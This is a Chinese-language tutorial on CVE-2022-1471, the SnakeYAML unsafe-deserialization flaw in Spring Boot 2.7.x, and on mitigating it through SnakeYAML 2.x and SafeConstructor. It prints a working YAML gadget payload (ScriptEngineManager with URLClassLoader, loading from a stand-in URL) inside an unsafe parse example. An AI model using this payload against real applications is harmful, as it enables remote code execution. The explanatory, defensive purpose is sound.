1. 概述
本文將探討 CVE-2022-1471,該漏洞存在於 Spring Boot 中,通過 SnakeYAML 引起,SnakeYAML 是一個流行的 Java YAML 解析庫。 此外,本文還將探討 SnakeYAML 2.0 如何解決此問題,以及如何在我們的項目中應用更新以安全我們的應用程序。
Spring Boot 2.7.x 及更早版本內部使用 SnakeYAML 1.x,因此應用程序容易受到此問題的攻擊。
2. 瞭解 CVE-2022-1471
CVE-2022-1471 是一種由於 SnakeYAML 中的不安全反序列化造成的漏洞。該庫允許任意對象被反序列化。
攻擊者可以利用這種行為在服務器上執行惡意代碼。這通常發生在 SnakeYAML 反序列化不受信任的 YAML 輸入,該輸入包含意外或危險的對象類型時:
public void parse() {
String exploitPayload = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://dosattack/\"]\n" +
" ]]\n" +
"]";
// Unsafe YAML parsing
Yaml yaml = new Yaml();
Object result = yaml.load(exploitPayload);
log.info("Deserialized object: {}", result);
}此 parse() 方法處理惡意 YAML 加載有效負載,該有效負載嘗試使用 URLClassLoader 加載外部資源。它展示了不受信任的 YAML 輸入如何導致危險對象類型的反序列化,從而可能使攻擊者執行惡意代碼。
此類漏洞可能導致遠程代碼執行 (RCE),使其成為一個關鍵的安全問題。
3. SnakeYAML 2.0 解決 CVE-2022-1471
為了緩解 CVE-2022-1471 帶來的風險,SnakeYAML 引入了關鍵改進,尤其是在更安全的默認設置和反序列化過程的嚴格控制方面。3.1. 默認使用 SafeLoader
在 SnakeYAML 中,加載器將 YAML 輸入轉換為 Java 對象。不同的加載器決定了可以反序列化的對象類型。在 2.0 版本之前,SnakeYAML 默認使用一個更寬鬆的加載器,允許反序列化任意類型的對象。
SnakeYAML 2.0 現在默認使用 SafeLoader。此加載器僅反序列化基本數據類型,例如 String、Integer、List 和 Map。它阻止了複雜或潛在有害對象的反序列化,除非它們明確允許:
Yaml yaml = new Yaml(); // Uses SafeLoader by default
SafeLoader 確保僅處理基本數據結構,從而顯着降低反序列化漏洞的攻擊面。
3.2. 自定義加載器用於高級用例
SnakeYAML 2.0 允許開發者使用自定義加載器,以滿足需要更復雜對象反序列化的應用程序的需求。 這有助於更好地瞭解正在反序列化的類型,並要求明確配置以處理非基本類型:
Yaml yaml = new Yaml(new Constructor(Customer.class));
雖然這允許自定義類型的反序列化,但管理允許哪些類至關重要,以確保安全。
4. 緩解 CVE-2022-1471 漏洞
為了緩解 CVE-2022-1471 漏洞,我們提供以下兩種方案。我們可以升級到 SnakeYAML 2.0,該版本默認強制執行更安全的反序列化實踐。 另一種方法是,手動使用舊版本中的 SafeConstructor 。
4.1. 升級至 SakeYAML 2.x
為了緩解此漏洞,我們需要升級至 SnakeYAML 2.x。 此版本通過默認強制執行更安全的反序列化實踐,解決了 CVE-2022-1471。
讓我們通過更新 pom.xml,將 SnakeYAML 2.0 添加到 Maven 項目中:
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>2.3</version>
</dependency>4.2. 使用 SafeConstructor 進行早期版本處理
如果升級到 2.0 版本不立即可行,可以通過手動使用 SafeConstructor 來緩解早期版本中的漏洞:
Yaml yaml = new Yaml(new SafeConstructor());
SafeConstructor 限制了可以反序列化的對象類型,為使用舊版 SnakeYAML 版本進行應用程序安全提供了一種臨時措施。
5. 避免不安全的反序列化
為了在 SnakeYAML 或任何 YAML 解析器中避免不安全的反序列化,必須採取進一步的預防措施:
- 限制允許的類型:我們應該始終將反序列化限制為一組受信任的類型,並避免在必要時反序列化任意或複雜的對象圖。
- 驗證輸入:在解析之前,應使用模式或一組期望驗證 YAML 輸入,並避免在仔細驗證的情況下解析不受信任的 YAML 數據。
6. 結論
在本快速教程中,我們探討了 CVE-2022-1471,該漏洞由於 SnakeYAML 中不安全的反序列化引入了重大安全風險,尤其是在使用 Spring Boot 2.7.x 的應用程序中,該應用程序依賴於易受攻擊的 SnakeYAML 1.x 版本。 SnakeYAML 2.0 的發佈通過引入 SafeLoader 來解決此問題,從而顯著增強了安全性。
為了保護我們的應用程序免受此漏洞的影響,升級到 SnakeYAML 2.0 或在我們的 Spring Boot 項目中覆蓋舊版本的 SnakeYAML 至關重要。